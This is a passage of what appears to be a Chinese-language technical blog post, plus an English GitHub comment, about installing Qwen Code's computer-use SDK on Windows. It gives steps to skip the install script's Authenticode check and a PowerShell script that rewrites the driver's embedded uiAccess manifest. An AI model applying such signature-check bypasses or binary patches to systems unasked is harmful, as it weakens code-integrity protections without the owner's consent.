    `$signature = Get-AuthenticodeSignature -LiteralPath ${quotePowerShell(source)}; ` +
    `if ($signature.Status -ne &apos;Valid&apos;) { ` +
    `throw \&quot;UIAccess worker Authenticode status is $($signature.Status)\&quot; }`
  await run(&quot;powershell&quot;, [&quot;-NoProfile&quot;, &quot;-NonInteractive&quot;, &quot;-Command&quot;, command])
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码对驱动文件执行签名检查，状态不是 &lt;code&gt;Valid&lt;/code&gt; 就抛出异常终止安装。这个函数被无条件调用，没有任何配置项或环境变量能跳过它。&lt;/p&gt;
&lt;p&gt;而它检查的驱动文件 &lt;code&gt;qwen-cua-driver-uia.exe&lt;/code&gt;，实际查询签名状态的结果是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS&amp;gt; (Get-AuthenticodeSignature &apos;qwen-cua-driver-uia.exe&apos;).Status
NotSigned
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结论：官方发布的驱动文件没有数字签名，官方的安装脚本却强制要求签名验证通过。两者矛盾，安装必然失败。&lt;/p&gt;
&lt;p&gt;在 GitHub 上搜索，确认这是已知问题：&lt;a href=&quot;https://github.com/QwenLM/qwen-code/issues/12394&quot;&gt;QwenLM/qwen-code#12394&lt;/a&gt;，标题 &quot;Windows UIAccess worker exe is unsigned&quot;。P1 优先级，2026 年 9 月底报告。写作时该 issue 为 Open、没有关联 PR；截至 2026 年 10 月底有了进展：修复 PR &lt;a href=&quot;https://github.com/QwenLM/qwen-code/pull/12442&quot;&gt;#12442&lt;/a&gt;（发布前对驱动签名）已于 2026-10-24 合并，但负责签发签名证书的 &lt;a href=&quot;https://github.com/QwenLM/qwen-code/issues/14539&quot;&gt;#14539&lt;/a&gt; 仍为 Open。合并晚于最新版 0.26.0 的发布（2026-10-21），已下载该版驱动包验证：三个可执行文件仍然全部未签名，安装脚本也仍然无条件强制验签。在带签名的版本实际发布之前，本文的手动方案对 npm 上的现有所有版本仍然必要。&lt;/p&gt;
&lt;h3&gt;未签名是发布流程的有意设计&lt;/h3&gt;
&lt;p&gt;issue 里另一位贡献者对源码做了完整追踪，找到了矛盾的来源。CI 工作流（&lt;code&gt;cd-cua-driver.yml&lt;/code&gt;）里有一个验证步骤，逻辑与安装脚本正好相反：如果驱动&lt;strong&gt;带有&lt;/strong&gt;签名，构建直接失败：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$signature = Get-AuthenticodeSignature -LiteralPath $worker
if ($signature.Status -ne &apos;NotSigned&apos;) {
  throw &quot;Release worker must be unsigned for target-machine signing; ...&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;设计意图是目标机器签名模式：官方发布未签名的驱动，由部署方在目标机器上用自己的证书签名，再放入 Program Files 的安全路径。这套模式面向的是企业部署场景。&lt;/p&gt;
&lt;p&gt;问题出在安装脚本没有跟上这个设计。发布端保证驱动未签名，安装端（npm postinstall 和 install.ps1）却无条件要求签名有效，两份契约相互矛盾。CI 的安装验证跑在 Linux 上（&lt;code&gt;npm ci --ignore-scripts&lt;/code&gt;），Windows 分支的安装逻辑从未被测试覆盖，矛盾于是在每个版本上静默存在，直到普通用户在 Windows 上执行 npm install。&lt;/p&gt;
&lt;h2&gt;为什么 Windows 要求这个驱动必须有签名&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;qwen-cua-driver-uia.exe&lt;/code&gt; 是一个 UIAccess worker。UIAccess 是 Windows 的一种权限级别，允许程序读取和操控其他窗口的界面，即使那些窗口以更高权限运行。computer-use 要控制别的应用，驱动就需要这个权限。&lt;/p&gt;
&lt;p&gt;Windows 对这类高权限程序有一条强制规定：必须经过 Authenticode 数字签名。Authenticode 是 Windows 的代码签名机制，签名能证明两点：程序来自可信的发布者，且发布后没有被篡改。没有签名的 UIAccess 程序，系统默认不可信。&lt;/p&gt;
&lt;p&gt;所以问题变成：&lt;strong&gt;签名验证本来要提供的那份保证，用什么手段补上？&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;解决方案：手动安装驱动，用 SHA256 校验替代确认&lt;/h2&gt;
&lt;p&gt;签名验证的核心目的有两个：确认驱动来自官方，确认驱动没有被篡改。这两点可以用校验和来验证：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;从官方 GitHub Release 下载驱动包&lt;/li&gt;
&lt;li&gt;计算文件的 SHA256 值，与官方同时发布的 &lt;code&gt;checksums.txt&lt;/code&gt; 里的值对比，一致（&lt;code&gt;b46127a3...&lt;/code&gt;，对得上），说明文件确实来自官方仓库，且下载过程没有被篡改&lt;/li&gt;
&lt;li&gt;手动解压到 SDK 的缓存目录&lt;/li&gt;
&lt;li&gt;用管理员权限把 UIAccess worker 复制到 &lt;code&gt;C:\Program Files\Qwen\CuaDriver\&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;包本体和依赖则绕开有问题的 postinstall，用 &lt;code&gt;--ignore-scripts&lt;/code&gt; 参数安装。这个参数让 npm 跳过所有安装脚本，只安装文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS&amp;gt; npm install --no-save --package-lock=false --ignore-scripts --registry=https://registry.npmmirror.com @qwen-code/cua-sdk@0.20.11
added 7 packages in 12s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跳过 postinstall 不会影响功能：cua-sdk 运行时会检查缓存目录里有没有 &lt;code&gt;complete.json&lt;/code&gt; 文件，发现驱动已经就位就直接使用，不依赖安装脚本。&lt;/p&gt;
&lt;p&gt;整个方案可以回退：官方修复之后，删掉手动安装的目录，重新执行 &lt;code&gt;npm install&lt;/code&gt;，就回到官方流程。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;绕过一项安全验证时，先理解它防的是什么，用其他手段补上同样的保证，并保留回退路径。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;实施和使用过程中遇到的两个新问题&lt;/h2&gt;
&lt;p&gt;方案确定后，实施和使用时先后遇到两个问题，记录如下。&lt;/p&gt;
&lt;h3&gt;问题一：因解析器缓存失败结果，导致包安装后导入仍失败&lt;/h3&gt;
&lt;p&gt;MCP 连上之后，在 node REPL 里导入 cua-sdk，报错：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; await import(&apos;@qwen-code/cua-sdk&apos;)
cannot resolve package &apos;@qwen-code/cua-sdk&apos; from 2 module roots
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;node REPL 是这个 MCP 服务器提供的 JavaScript 运行环境，AI 通过它执行代码。先验证包本身有没有问题：绕开 node REPL，直接用 Node 测试导入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS&amp;gt; node --input-type=module -e &quot;import(&apos;@qwen-code/cua-sdk&apos;).then(m =&amp;gt; console.log(&apos;OK&apos;, Object.keys(m).length))&quot;
OK 138
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接用 Node 导入完全正常，138 个导出。但同一个包，在 node REPL 内核里导入却失败。同一个 Node，同一台机器，同一套文件，结果不同。&lt;/p&gt;
&lt;p&gt;这种环境之间不一致的问题排查难度最大，因为每个局部测试都是通过的，没有一个明确的故障点。&lt;/p&gt;
&lt;p&gt;用对照实验来定位：在模块目录里手动创建几个测试包，逐个排除可能的怀疑点。每个包配一个只有一行导出语句的 index.js，差别只在 package.json。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;实验一：最简单的包，验证内核的解析机制。&lt;/strong&gt; 创建一个不带任何特殊配置的包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;name&quot;: &quot;test-probe&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;type&quot;: &quot;module&quot;,
  &quot;main&quot;: &quot;index.js&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在内核里导入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; await import(&apos;test-probe&apos;)
test-probe: OK, hello=world
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功。说明内核的模块解析机制正常，注册的模块搜索目录也生效。问题不在内核本身。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;实验二：带 exports 的包，验证包描述文件结构。&lt;/strong&gt; cua-sdk 的 package.json 声明了 &lt;code&gt;exports&lt;/code&gt; 字段，而且只提供 &lt;code&gt;import&lt;/code&gt; 条件、没有 &lt;code&gt;require&lt;/code&gt; 条件，这是一种比较少见的写法，可能是怀疑点。照着这个结构创建测试包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;name&quot;: &quot;test-probe2&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;type&quot;: &quot;module&quot;,
  &quot;main&quot;: &quot;./index.js&quot;,
  &quot;exports&quot;: {
    &quot;.&quot;: {
      &quot;types&quot;: &quot;./index.d.ts&quot;,
      &quot;import&quot;: &quot;./index.js&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;导入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; await import(&apos;test-probe2&apos;)
test-probe2: OK, hello=probe2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功。排除 exports 结构的问题。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;实验三：作用域包名，验证 @scope/ 形式的解析。&lt;/strong&gt; cua-sdk 的包名是 &lt;code&gt;@qwen-code/cua-sdk&lt;/code&gt;，带 &lt;code&gt;@scope/&lt;/code&gt; 前缀。创建同形式的包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;name&quot;: &quot;@test-scope/probe3&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;type&quot;: &quot;module&quot;,
  &quot;main&quot;: &quot;./index.js&quot;,
  &quot;exports&quot;: {
    &quot;.&quot;: {
      &quot;types&quot;: &quot;./index.d.ts&quot;,
      &quot;import&quot;: &quot;./index.js&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;导入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; await import(&apos;@test-scope/probe3&apos;)
scoped probe3: OK, hello=probe3-scoped
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还是成功。排除作用域包名的解析问题。&lt;/p&gt;
&lt;p&gt;三组对照全部通过。用同样的方式导入真实包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; await import(&apos;@qwen-code/cua-sdk&apos;)
cannot resolve package &apos;@qwen-code/cua-sdk&apos; from 2 module roots
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;失败。测试包和真实包之间只剩一个差别：&lt;strong&gt;测试包是刚创建的，cua-sdk 是内核启动时曾经导入失败过的。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;原因确定：Node 的 ESM 解析器会缓存模块解析结果。ESM 是 JavaScript 的模块标准，解析指根据包名找到实际文件路径这一步。Node 会把解析结果记在内存里，同样的导入请求下次直接返回缓存结果，不再查磁盘，而&lt;strong&gt;失败的解析结果也会被缓存&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;时间线还原：内核启动时，cua-sdk 还没有安装完整；第一次导入失败，这个失败结果被缓存；之后安装完成，再次导入时，解析器直接返回缓存里的失败结果，没有去磁盘确认。&lt;/p&gt;
&lt;p&gt;解决方法：执行 &lt;code&gt;node_repl_reset&lt;/code&gt; 重置内核。重置会终止当前内核进程并启动新进程，内存缓存随之清空（已注册的模块目录会保留）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; node_repl_reset
node_repl kernel reset (generation 3). All bindings were discarded. 1 registered module root(s) were retained.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重置后再导入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; await import(&apos;@ubjs/core&apos;)
@ubjs/core: OK, keys=51
&amp;gt; await import(&apos;@qwen-code/cua-sdk&apos;)
cua-sdk: OK, keys=138
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;和直接用 Node 的结果一致。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;由此得到一条实用规则：&lt;strong&gt;在 node REPL 里安装任何包之后，如果之前导入失败过，先执行 reset 再试。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;问题二：因系统拒绝启动未签名 UIAccess 程序，导致窗口操控失败&lt;/h3&gt;
&lt;p&gt;前一个问题解决后，初始化和列举应用都正常：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; await computer.listApps()
应用列表 (共 276 个)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回 276 个应用，看起来配置已经完成。但读取窗口内容时失败了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; await chromeApp.getState()
ComputerUseError: The app state could not be read. Check that its window is available,
then call app.getState() again.
Code: uiaccess_worker_unavailable
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;列举应用走的是基础接口，不需要特殊权限；读取和操控窗口内容需要另一个组件：UIAccess worker。检查进程列表，这个组件根本没有在运行。手动启动它试试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS&amp;gt; Start-Process &apos;C:\Program Files\Qwen\CuaDriver\0.20.11\qwen-cua-driver-uia.exe&apos;
Start-Process : This command cannot be run due to the error: A referral was returned from the server.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动被 Windows 拒绝。查询这个 exe 的嵌入 manifest（manifest 是 Windows 程序内嵌的声明文件，描述程序需要的权限级别），找到了声明：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;requestedExecutionLevel level=&quot;asInvoker&quot; uiAccess=&quot;true&quot;&amp;gt;&amp;lt;/requestedExecutionLevel&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;manifest 声明了 &lt;code&gt;uiAccess=&quot;true&quot;&lt;/code&gt;。Windows 对这类程序有一条强制规定：&lt;strong&gt;启动时必须持有有效的 Authenticode 签名&lt;/strong&gt;。安装阶段的签名检查通过手动安装绕过了，但操作系统在启动 UIAccess 程序时还会再检查一次，这是同一问题的第二道拦截。&lt;/p&gt;
&lt;p&gt;解决方法：把 manifest 里的 &lt;code&gt;uiAccess&lt;/code&gt; 从 &lt;code&gt;&quot;true&quot;&lt;/code&gt; 改成 &lt;code&gt;&quot;false&quot;&lt;/code&gt;。修改后 worker 以普通权限运行，仍然可以操控非管理员权限运行的窗口，浏览器、办公软件、编辑器都属于这一类。代价是无法操控以管理员身份运行的窗口，对常规使用没有影响。&lt;/p&gt;
&lt;p&gt;修改嵌入 manifest 用 Win32 的 &lt;code&gt;UpdateResource&lt;/code&gt; API，PowerShell 可以直接调用。核心逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 定位二进制里的 manifest XML，替换 uiAccess 值，写回资源段
$exe = &apos;C:\Program Files\Qwen\CuaDriver\0.20.11\qwen-cua-driver-uia.exe&apos;
$b = [IO.File]::ReadAllBytes($exe)
$t = [Text.Encoding]::UTF8.GetString($b)
$i = $t.IndexOf(&apos;uiAccess&apos;)
$s = $t.LastIndexOf(&apos;&amp;lt;?xml&apos;, $i)
$e = $t.IndexOf(&apos;&amp;lt;/assembly&amp;gt;&apos;, $i)
$m = $t.Substring($s, $e + 11 - $s).Replace(&apos;uiAccess=&quot;true&quot;&apos;, &apos;uiAccess=&quot;false&quot;&apos;)
$d = [Text.Encoding]::UTF8.GetBytes($m)

# 通过 UpdateResource 写回（RT_MANIFEST = 24，资源 ID = 1）
$h = [RU]::BeginUpdateResource($exe, $false)          # RU 是 P/Invoke 声明的封装类
[RU]::UpdateResource($h, [IntPtr]24, [IntPtr]1, 0x0409, $d, $d.Length) | Out-Null
[RU]::EndUpdateResource($h, $false) | Out-Null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;RU&lt;/code&gt; 封装类用 &lt;code&gt;Add-Type&lt;/code&gt; 声明 &lt;code&gt;BeginUpdateResource&lt;/code&gt;、&lt;code&gt;UpdateResource&lt;/code&gt;、&lt;code&gt;EndUpdateResource&lt;/code&gt; 三个 kernel32 函数。exe 在 Program Files 下，修改需要管理员权限。建议先复制到临时目录修改并验证启动正常，再用管理员权限复制回去。&lt;/p&gt;
&lt;p&gt;修改后重新测试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; await chromeApp.getState()
窗口: xxx - Google Chrome
文本: Full accessibility state:
 [0] Window &quot;xxx - Google Chrome&quot;
   [1] Pane &quot;xxx - Google Chrome&quot;
           [2] Button &quot;最小化&quot; actions=[&quot;invoke&quot;]
           [3] Button &quot;恢复&quot; actions=[&quot;invoke&quot;]
...（后续窗口元素省略）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;getState 返回了窗口的完整可访问性树，之后的点击、输入、快捷键操作全部正常。至此操控能力才真正可用。listApps 成功并不代表配置完成，能读取和操作窗口内容才是最终验证标准。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;最终配置步骤&lt;/h2&gt;
&lt;p&gt;完整步骤整理如下。命令使用本文验证通过的版本（cua-sdk 0.20.11、node-repl-mcp 0.1.6）。截至 2026 年 10 月底，两个包在 npm 上的最新版本均为 0.26.0；已下载该版驱动包验证，三个可执行文件仍未签名，安装脚本仍强制验签，UIAccess worker 的 manifest 仍声明 &lt;code&gt;uiAccess=&quot;true&quot;&lt;/code&gt;，两层拦截在 0.26.0 上原样存在。本文方案对 0.26.0 同样必要，把步骤中的版本号 0.20.11 相应替换即可，完整流程未在 0.26.0 上实测。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步，添加 MCP 服务器：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;qwen mcp add --scope user node-repl npx -y @qwen-code/node-repl-mcp@0.1.6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;文档里写的 &lt;code&gt;@0.1.7&lt;/code&gt; 版本在写作时不存在于 npm，当时的最新版本是 0.1.6，所以用 0.1.6。这个问题已提交给上游：&lt;a href=&quot;https://github.com/QwenLM/qwen-code/issues/13501&quot;&gt;issue #13501&lt;/a&gt;，上游随后发布了 0.1.7，issue 已于 2026-10-13 关闭。执行后可以用 &lt;code&gt;qwen mcp list&lt;/code&gt; 确认状态是 Connected。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二步，安装 cua-sdk：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm install --no-save --package-lock=false --ignore-scripts \
  --registry=https://registry.npmmirror.com @qwen-code/cua-sdk@0.20.11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在项目目录下执行。&lt;code&gt;--ignore-scripts&lt;/code&gt; 跳过有问题的安装脚本，&lt;code&gt;--registry&lt;/code&gt; 指定国内镜像源加快下载。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第三步，手动安装原生驱动：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从 &lt;a href=&quot;https://github.com/QwenLM/qwen-code/releases/download/cua-driver-rs-v0.20.11/cua-driver-rs-0.20.11-windows-x86_64-binary.zip&quot;&gt;GitHub Release&lt;/a&gt; 下载驱动包，校验 SHA256 之后，解压到 &lt;code&gt;%LOCALAPPDATA%\Qwen\cua-sdk\0.20.11\windows-x86_64\&lt;/code&gt;（&lt;code&gt;%LOCALAPPDATA%&lt;/code&gt; 即 &lt;code&gt;C:\Users\用户名\AppData\Local&lt;/code&gt;），再用管理员权限把 &lt;code&gt;qwen-cua-driver-uia.exe&lt;/code&gt; 复制到 &lt;code&gt;C:\Program Files\Qwen\CuaDriver\0.20.11\&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第四步，修改驱动的 manifest：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;按问题二的方法，把 &lt;code&gt;C:\Program Files\Qwen\CuaDriver\0.20.11\qwen-cua-driver-uia.exe&lt;/code&gt; 的嵌入 manifest 里 &lt;code&gt;uiAccess&lt;/code&gt; 从 &lt;code&gt;&quot;true&quot;&lt;/code&gt; 改成 &lt;code&gt;&quot;false&quot;&lt;/code&gt;。跳过这一步的话，安装和列举应用正常，但读取和操控窗口会失败。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第五步，重启 Qwen Code，在会话里初始化：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 先用 node_repl_add_node_module_dir 工具注册 node_modules 所在目录
// 如果之前导入失败过，先执行 node_repl_reset

const computer = await (
  await import(&apos;@qwen-code/cua-sdk/computer-use&apos;)
).ComputerUse.create();

const platform = await computer.getPlatform();  // 返回 &quot;windows&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初始化之后先做快速检查，再验证真正的操控能力：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; await computer.listApps()
应用列表 (共 276 个):
[运行中] Windows Software Development Kit
[运行中] powershell.exe
[运行中] WindowsTerminal.exe
[运行中] Google Chrome
[运行中] 微信
[运行中] Notepad++
[运行中] Clash Verge
...（其余 269 项省略）
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; const chromeApp = await computer.getApp(&apos;Google Chrome&apos;)
&amp;gt; await chromeApp.getState()
窗口: xxx - Google Chrome
文本: Full accessibility state:
 [0] Window &quot;xxx - Google Chrome&quot;
   [1] Pane &quot;xxx - Google Chrome&quot;
           [2] Button &quot;最小化&quot; actions=[&quot;invoke&quot;]
...（后续窗口元素省略）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;listApps 只验证了基础接口；getState 能返回窗口内容，操控能力才算真正可用。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;p&gt;这次解决的问题分属两个层面：上游发布缺陷（驱动有意以未签名状态发布，安装脚本却强制验签，契约矛盾在安装和运行时各拦截一次）、运行时机制（ESM 解析缓存）。&lt;/p&gt;
&lt;p&gt;签名问题出现了两次，形式不同：安装阶段是脚本主动验签，运行阶段是操作系统拒绝启动 UIAccess 程序。绕过第一道时想不到还有第二道，直到实际操控窗口才发现。这给了一个提醒：&lt;strong&gt;验证一个能力是否真正可用，要用它最核心的功能去测&lt;/strong&gt;。listApps 能列举应用，但它走的权限路径和窗口操控不同，用它做验证标准会得出错误的结论。&lt;/p&gt;
&lt;p&gt;两个问题的排查思路是通用的：先分层确认每一层独立可用，再用对照实验缩小范围，最后检查缓存。&lt;/p&gt;
&lt;p&gt;配置完成后，AI 就能直接操控桌面应用。后续我会用它做自动化尝试，有了结果再写。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;附录：提交到 GitHub issue 的解决方案评论&lt;/h2&gt;
&lt;p&gt;以下评论已提交到 &lt;a href=&quot;https://github.com/QwenLM/qwen-code/issues/12394&quot;&gt;QwenLM/qwen-code#12394&lt;/a&gt;（issue 为英文，评论使用英文）。内容与本文的解决方案一致，供参考。文中提到的版本号问题已单独提交为 &lt;a href=&quot;https://github.com/QwenLM/qwen-code/issues/13501&quot;&gt;issue #13501&lt;/a&gt;（上游随后发布了 0.1.7，该 issue 已于 2026-10-13 关闭）。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Workaround for Windows (verified on Windows 11, Node v24.15.0, @qwen-code/cua-sdk@0.20.11):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The signature problem has &lt;strong&gt;two layers&lt;/strong&gt;, and both need to be bypassed: the install-time script check, and a runtime OS check that blocks launching unsigned UIAccess executables.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Layer 1 — install failure.&lt;/strong&gt; The postinstall script throws &lt;code&gt;UIAccess worker Authenticode status is NotSigned&lt;/code&gt;. The signature check exists to guarantee the driver is official and untampered; SHA256 verification against the official &lt;code&gt;checksums.txt&lt;/code&gt; provides the same guarantee:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download the driver archive from the official release:
&lt;code&gt;https://github.com/QwenLM/qwen-code/releases/download/cua-driver-rs-v0.20.11/cua-driver-rs-0.20.11-windows-x86_64-binary.zip&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Verify the SHA256 against &lt;code&gt;checksums.txt&lt;/code&gt; from the same release (expected: &lt;code&gt;b46127a3f56e4aa267fa67ed9d3c9ac6f0b0259b50fcd65db1c80ab210825d87&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Extract to &lt;code&gt;%LOCALAPPDATA%\Qwen\cua-sdk\0.20.11\windows-x86_64\&lt;/code&gt; — keep &lt;code&gt;complete.json&lt;/code&gt; in place, the runtime checks for it and skips the install script&lt;/li&gt;
&lt;li&gt;Copy &lt;code&gt;qwen-cua-driver-uia.exe&lt;/code&gt; to &lt;code&gt;C:\Program Files\Qwen\CuaDriver\0.20.11\&lt;/code&gt; (requires admin)&lt;/li&gt;
&lt;li&gt;Install the package with scripts disabled:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;npm install --no-save --package-lock=false --ignore-scripts @qwen-code/cua-sdk@0.20.11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Layer 2 — runtime launch failure.&lt;/strong&gt; After the steps above, &lt;code&gt;ComputerUse.create()&lt;/code&gt; and &lt;code&gt;listApps()&lt;/code&gt; work, but &lt;code&gt;getState()&lt;/code&gt; / &lt;code&gt;click()&lt;/code&gt; fail with &lt;code&gt;uiaccess_worker_unavailable&lt;/code&gt;. Windows enforces the signature requirement again at process launch: the worker&apos;s embedded manifest declares &lt;code&gt;uiAccess=&quot;true&quot;&lt;/code&gt;, and Windows refuses to start unsigned UIAccess executables (launching it manually returns &quot;A referral was returned from the server&quot;).&lt;/p&gt;
&lt;p&gt;Fix: patch the embedded manifest to &lt;code&gt;uiAccess=&quot;false&quot;&lt;/code&gt; via the Win32 &lt;code&gt;UpdateResource&lt;/code&gt; API. The worker then runs as a normal process and can automate non-elevated windows (browsers, office apps, editors). Trade-off: it cannot control windows running elevated/as-admin. Run elevated (the exe is under Program Files):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Add-Type @&quot;
using System.Runtime.InteropServices;
public class RU {
  [DllImport(&quot;kernel32.dll&quot;, SetLastError=true, CharSet=CharSet.Unicode)]
  public static extern System.IntPtr BeginUpdateResource(string f, bool d);
  [DllImport(&quot;kernel32.dll&quot;, SetLastError=true)]
  public static extern bool UpdateResource(System.IntPtr h, System.IntPtr t, System.IntPtr n, ushort l, byte[] d, uint s);
  [DllImport(&quot;kernel32.dll&quot;, SetLastError=true)]
  public static extern bool EndUpdateResource(System.IntPtr h, bool disc);
}
&quot;@
$exe = &apos;C:\Program Files\Qwen\CuaDriver\0.20.11\qwen-cua-driver-uia.exe&apos;
$b = [IO.File]::ReadAllBytes($exe); $t = [Text.Encoding]::UTF8.GetString($b)
$i = $t.IndexOf(&apos;uiAccess&apos;); $s = $t.LastIndexOf(&apos;&amp;lt;?xml&apos;, $i); $e = $t.IndexOf(&apos;&amp;lt;/assembly&amp;gt;&apos;, $i)
$m = $t.Substring($s, $e + 11 - $s).Replace(&apos;uiAccess=&quot;true&quot;&apos;, &apos;uiAccess=&quot;false&quot;&apos;)
$d = [Text.Encoding]::UTF8.GetBytes($m)
$h = [RU]::BeginUpdateResource($exe, $false)
[RU]::UpdateResource($h, [IntPtr]24, [IntPtr]1, 0x0409, $d, $d.Length) | Out-Null
[RU]::EndUpdateResource($h, $false) | Out-Null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After patching, &lt;code&gt;getState()&lt;/code&gt;, &lt;code&gt;click()&lt;/code&gt;, &lt;code&gt;typeText()&lt;/code&gt;, &lt;code&gt;hotkey()&lt;/code&gt; all work — I used it to navigate Chrome and interact with GitHub pages.&lt;/p&gt;
&lt;p&gt;Both layers are reversible: delete the manually installed directories and reinstall normally once a signed driver ships.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Related Windows setup notes&lt;/strong&gt; (anyone following the computer-use skill guide will hit these next):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The skill guide references &lt;code&gt;@qwen-code/node-repl-mcp@0.1.7&lt;/code&gt;, which does not exist on npm — latest is 0.1.6. Use 0.1.6.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;qwen mcp add&lt;/code&gt; expects the command and its arguments as separate CLI positionals: &lt;code&gt;qwen mcp add --scope user node-repl npx -y @qwen-code/node-repl-mcp@0.1.6&lt;/code&gt; (unquoted). Passing the whole command as a single quoted string stores it verbatim in the &lt;code&gt;command&lt;/code&gt; field of &lt;code&gt;settings.json&lt;/code&gt;, and the server never starts (shows Disconnected). Check &lt;code&gt;~/.qwen/settings.json&lt;/code&gt; if that happens.&lt;/li&gt;
&lt;li&gt;If imports failed before the package finished installing, reset the node-repl kernel (&lt;code&gt;node_repl_reset&lt;/code&gt;) — Node&apos;s ESM resolver caches failed resolutions.&lt;/li&gt;
&lt;/ul&gt;
